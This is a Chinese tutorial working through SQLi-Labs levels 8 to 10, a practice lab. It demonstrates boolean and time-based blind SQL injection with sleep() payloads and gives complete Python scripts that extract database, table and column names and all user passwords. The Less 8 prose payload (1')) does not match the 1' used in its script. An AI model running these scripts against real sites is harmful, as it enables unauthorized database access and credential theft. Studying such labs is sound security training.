SQLi-Labs是一个用于学习和练习SQL注入漏洞的开源应用程序。通过它，我们可以学习如何识别和利用不同类型的SQL注入漏洞，并了解如何修复和防范这些漏洞。

Less 8

SQLI DUMB SERIES-8

判断注入点

当输入id为1时正常显示：

加上单引号就报错了

那就将后面的代码注释就恢复正常显示：

http://sqli-labs.com/Less-8/
?id=1'--+

并通过order语句得到表单字段为3个：

实施注入

布尔（Boolean）盲SQL注入技术是一种SQL注入攻击的形式，它利用了数据库在处理布尔逻辑时的漏洞。
在这种攻击中，攻击者通过构造特定的SQL语句，尝试修改应用程序的查询语句，以便程序在响应时反映出某些操作结果（如真或假），从而确定某些特定答案或确认应用程序中的漏洞。
布尔盲注的原理是通过构造恰当的SQL语句，使得应用程序的响应结果有所不同。

通过以上信息来看可以确定，这一关可以用布尔盲注的方式来进行解题。我们先尝试用语句来判断是否获取正常。
通过下列结果可以看出来database()的第一个字符并不是a，我们需要继续尝试所有英文字母。

http://sqli-labs.com/Less-8/
?id=1')) and substr(database(),1,1)='a' --+

直到我们尝试用s测试出来它才是目标，并提示“***You are in…”。

http://sqli-labs.com/Less-8/
?id=1')) and substr(database(),1,1)='s' --+

如果在MYSQL中的话则过程则为：

SELECT * FROM users WHERE id=(('1')) and substr(database(),1,1)='s' ;

故我们使用python代码来模拟这个过程并获取到完整目录文件，代码如下 ：

import requests

ALPHABET=",abcdefghijklmnopqrstuvwxyz"
A_LEN=len(ALPHABET) 
URL="http://sqli-labs.com/Less-8/?id=1' and substr(({sql}),{position},1)='{char}'--+"

#布尔注入并返回判断
def boolInject(path):
    response=requests.get(path)
    if response.status_code==200:
        if "You are in" in response.text:
            return True
        else:
            return False
    else:
        return False

#获取数据
def extract_data(sql):
    s=""
    position=0
    while True:
        position+=1
        #先判断是否为空，为空则直接断开(意味着没有数据或已完成数据采集)
        res=boolInject(URL.format(sql=sql,position=position,char=""))
        if res==True:
            break
        #不为空则尝试一个个判断字母是否符合
        char=" "
        for i in range(A_LEN):
            res=boolInject(URL.format(sql=sql,position=position,char=ALPHABET[i]))
            #如果找到相同的字符串则填入char
            if res==True:
                char=ALPHABET[i]
                break
        s+=char
    return s

接着我们在相同文件编写获取数据库的命令：

print(extract_data("database()"))

ID参数实际为1')) and substr(database(),%i,1)='%s'--+
最后执行该文件：

> python bool.py

接着获取其它参数：

#获取表名
print(extract_data("select group_concat(table_name) from information_schema.tables where table_schema='security'"))
#query="1')) and substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%i,1)='%s'--+"
#获取列名
print(extract_data("select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'"))
#query="1')) and substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%i,1)='%s'--+"
#获取用户名全部密码
print(extract_data("select group_concat(password) from users"))
#query="1')) and substr((select group_concat(password) from users),%i,1)='%s'--+"

结果如下：

但是你会发现，在获取用户密码的时候会有很多空字符，这里是什么原因呢？

这是由于没有匹配对应的字符造成的，如果想要解决这个问题，那么你就要在`ALPHABET`参数上加上更多的字符以适应更多的情况。

Less 9

SQLI DUMB SERIES-9

判断注入点

输入ID，正常显示

但输入其它字符也都显示一样的内容。

在这里我们无法看到错误信息，也不知道信息能否正常获取到。
此时则尝试使用时间注入的方式来进行，当输入下列参数时可以看到页面需要等待五秒才返回数据，则代表SQL语句运行成功，且可以利用此漏洞：

http://sqli-labs.com/Less-9/
?id=1' and sleep(5) --+

实施注入

SQL时间注入是一种安全漏洞，通过修改SQL查询中的时间参数，攻击者可以获取未授权的数据或执行未授权的操作。
1. 基于时间延迟：在SQL语句中注入时间相关的代码，如MySQL中的sleep()函数。例如，sleep(5)会使数据库延时5秒返回内容。攻击者可以根据页面的响应时间来判断是否存在SQL时间注入。
2. 判断方法：通过在注入点输入类似'and sleep(5)的语句，如果页面响应时间至少为5秒，则说明存在SQL时间注入。
3. 获取敏感信息：通过不断尝试和调试，攻击者可以逐步推断出数据库中存储的信息，如用户名、密码等。

接下来的工作就是之前使用的布尔注入流程一样，通过一个个字的判断来确定是否为想要的字符。
如我们获取数据名称是否为s，并通过睡眠5秒来判断：

http://sqli-labs.com/Less-9/
?id=1' and substr(database(),1,1)='a' and sleep(5)--+

执行后页面立即返回了数据，代表数据库名的第一个字符并不是a,直接判断s才能成功：

http://sqli-labs.com/Less-9/
?id=1' and substr(database(),1,1)='s' and sleep(5)--+

我们把这个过程通过python代码来完成自动化注入与判断，完整代码如下：

import requests
import time

ALPHABET=",abcdefghijklmnopqrstuvwxyz"#验证字符集
A_LEN=len(ALPHABET) 
SLEEP_TIME=1#等待时间(为了缩短代码运行时间，我们这里将睡眠时间设置为一秒钟)
URL="http://sqli-labs.com/Less-9/?id=1' and substr(({sql}),{position},1)='{char}' and sleep({time})--+"

#布尔注入并返回判断
def inject(path):
    start=time.time()
    response=requests.get(path)
    end=time.time()
    #如果数据获取时间大于睡眠时间代表代码运行成功
    if response.status_code==200 and end-start>SLEEP_TIME:
        return True
    else:
        return False

#获取数据
def extract_data(sql):
    s=""
    position=0
    while True:
        position+=1
        #先判断是否为空，为空则直接断开(意味着没有数据或已完成数据采集)
        res=inject(URL.format(sql=sql,position=position,char="",time=SLEEP_TIME))
        if res==True:
            break
        #不为空则尝试一个个判断字母是否符合
        char=" "
        for i in range(A_LEN):
            res=inject(URL.format(sql=sql,position=position,char=ALPHABET[i],time=SLEEP_TIME))
            #如果找到相同的字符串则填入char
            if res==True:
                char=ALPHABET[i]
                break
        s+=char
    return s
#获取数据库
print(extract_data("database()"))
#query="1' and substr(database(),%i,1)='%s' and sleep(%i)--+"

执行代码即获取成功：

那么后面的代码也是一样的道理：

#获取表名
print(extract_data("select group_concat(table_name) from information_schema.tables where table_schema='security'"))
#获取列名
print(extract_data("select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'"))
#获取用户名全部密码
print(extract_data("select group_concat(password) from users"))

执行结果，成功完成注入（有一说一，代码请求量一多这脚本运行时间真的长！）：

Less 10

SQLI DUMB SERIES-10

判断注入点

输入注入代码，通过测试可知是使用双引号来进行闭合的查询语句。

http://sqli-labs.com/Less-10/?id=1' and sleep(5) --+
http://sqli-labs.com/Less-10/?id=1' and sleep(5) --+
http://sqli-labs.com/Less-10/?id=1" and sleep(5) --+

如此便可以采用和上面类似的盲注入代码来进行。仅需要改其它的常量URL修改一下：

URL="http://sqli-labs.com/Less-10/?id=1\" and substr(({sql}),{position},1)='{char}' and sleep({time})--+"

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